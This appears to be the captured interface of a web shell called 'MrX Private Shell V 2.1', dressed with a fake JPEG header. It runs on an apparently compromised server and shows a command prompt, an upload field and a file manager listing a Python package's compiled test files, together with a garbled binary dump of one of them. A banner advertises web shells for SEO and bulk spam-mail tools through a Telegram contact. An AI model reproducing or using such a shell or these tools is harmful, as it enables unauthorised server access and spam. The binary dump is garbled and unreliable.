����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

"e��@s�ddlTddlmZddlmZmZzddlmZmZdZ	Wn ddl
mZmZdZ	Yn0Gdd	�d	ej�Z
ed
kr�e��dS)�)�*�)�DATA_DIR)�Rules�Rule)�patch�	mock_openz
builtins.openz__builtin__.openc@s`eZdZedd��Zdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dS)�	TestRulescCsdd�tjD�|_dS)NcSsg|]}|�t�r|�qS�)�
startswithr��.0�xr
r
�;/usr/lib/python3.9/site-packages/tracer/tests/test_rules.py�
<listcomp>s
�z(TestRules.setUpClass.<locals>.<listcomp>)r�DEFINITIONS)�clsr
r
r�
setUpClassszTestRules.setUpClasscCs|jt_dt_dS�N)rrZ_rules��selfr
r
r�setUpszTestRules.setUpcCst��D]}|�|t�qdSr)r�allZassertIsInstancer�rZruler
r
r�test_rules_typesszTestRules.test_rules_typescCs|d}t��D]j}d|vs d|vr2|�dt|��|jtj��vrR|�d|j�t|�dkrn|�d|j�|d7}qdS)Nr�name�actionzMissing attributes in rule #zUnknown action in rule: �z Unsupported attributes in rule: )	rr�fail�strrZACTIONS�valuesr�len)r�i�rr
r
r�test_rules_attributesszTestRules.test_rules_attributescCs4t��}|D]"}|�|�dkr|�d|j�qdS)NrzDuplicate rules for: )rr�countrr)r�rulesr#r
r
r�test_rules_duplicity*szTestRules.test_rules_duplicitycCs|�t�d��dS)NZNON_EXISTING_APPLICATION)ZassertIsNoner�findrr
r
r�test_app_with_no_rule0szTestRules.test_app_with_no_rulecCs0tddi�}|�t|�d�|�t|�d�dS)Nr�fooz<Rule: foo>)r�assertEqualr�reprrr
r
r�test_representations3szTestRules.test_representationscCs8tddd��}tddd��}|�|�|�|jd�dS)Nr*�bar)rrZbaz)r�updater+r)rZr1Zr2r
r
r�test_update8s
zTestRules.test_updatecCs�dgt_d}ttt|d���vt��}|�t|�d�|�tdd�|D���|�|dj	d�|�|dj
d	�|�|d
j	d�Wd�n1s�0YdS)
z/
		Test parsing a single XML file with rules
		zwhatever-file.xmlzM<rules>    <rule name='foo' action='return' />    <rule name='bar' /></rules>)Z	read_datarcSsg|]}t|t��qSr
)�
isinstancerrr
r
rrM�z'TestRules.test_load.<locals>.<listcomp>rr*�returnrr.N)rrr�
builtins_openrrr+r!Z
assertTruerr)r�datar&r
r
r�	test_load?s�zTestRules.test_loadcCs$d}|D]}|j|kr|d7}q|S)Nrr)r)rZapp_nameZappsr%�ar
r
r�_countRs


zTestRules._countN)�__name__�
__module__�__qualname__�classmethodrrrr$r'r)r-r0r6r8r
r
r
rr	
s
r	�__main__N)Z__meta__Ztracer.pathsrZtracer.resources.rulesrrZ
unittest.mockrrr4ZmockZunittestZTestCaser	r9�mainr
r
r
r�<module>s
M

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 148 B 0644
__init__.cpython-39.pyc File 148 B 0644
__meta__.cpython-39.opt-1.pyc File 385 B 0644
__meta__.cpython-39.pyc File 385 B 0644
test_FilenameCleaner.cpython-39.opt-1.pyc File 1.24 KB 0644
test_FilenameCleaner.cpython-39.pyc File 1.24 KB 0644
test_alpm.cpython-39.opt-1.pyc File 2.25 KB 0644
test_alpm.cpython-39.pyc File 2.25 KB 0644
test_applications.cpython-39.opt-1.pyc File 5.31 KB 0644
test_applications.cpython-39.pyc File 5.31 KB 0644
test_collections.cpython-39.opt-1.pyc File 3.81 KB 0644
test_collections.cpython-39.pyc File 4.15 KB 0644
test_dnf.cpython-39.opt-1.pyc File 2.24 KB 0644
test_dnf.cpython-39.pyc File 2.24 KB 0644
test_dpkg.cpython-39.opt-1.pyc File 2.23 KB 0644
test_dpkg.cpython-39.pyc File 2.23 KB 0644
test_hooks.cpython-39.opt-1.pyc File 1.81 KB 0644
test_hooks.cpython-39.pyc File 1.81 KB 0644
test_lang.cpython-39.opt-1.pyc File 681 B 0644
test_lang.cpython-39.pyc File 681 B 0644
test_package.cpython-39.opt-1.pyc File 872 B 0644
test_package.cpython-39.pyc File 872 B 0644
test_portage.cpython-39.opt-1.pyc File 2.26 KB 0644
test_portage.cpython-39.pyc File 2.26 KB 0644
test_processes.cpython-39.opt-1.pyc File 2.7 KB 0644
test_processes.cpython-39.pyc File 2.86 KB 0644
test_query.cpython-39.opt-1.pyc File 1.35 KB 0644
test_query.cpython-39.pyc File 1.35 KB 0644
test_rules.cpython-39.opt-1.pyc File 3.6 KB 0644
test_rules.cpython-39.pyc File 3.6 KB 0644
test_tracer.cpython-39.opt-1.pyc File 5.33 KB 0644
test_tracer.cpython-39.pyc File 5.33 KB 0644
test_views.cpython-39.opt-1.pyc File 8.72 KB 0644
test_views.cpython-39.pyc File 8.72 KB 0644
test_yum.cpython-39.opt-1.pyc File 2.22 KB 0644
test_yum.cpython-39.pyc File 2.22 KB 0644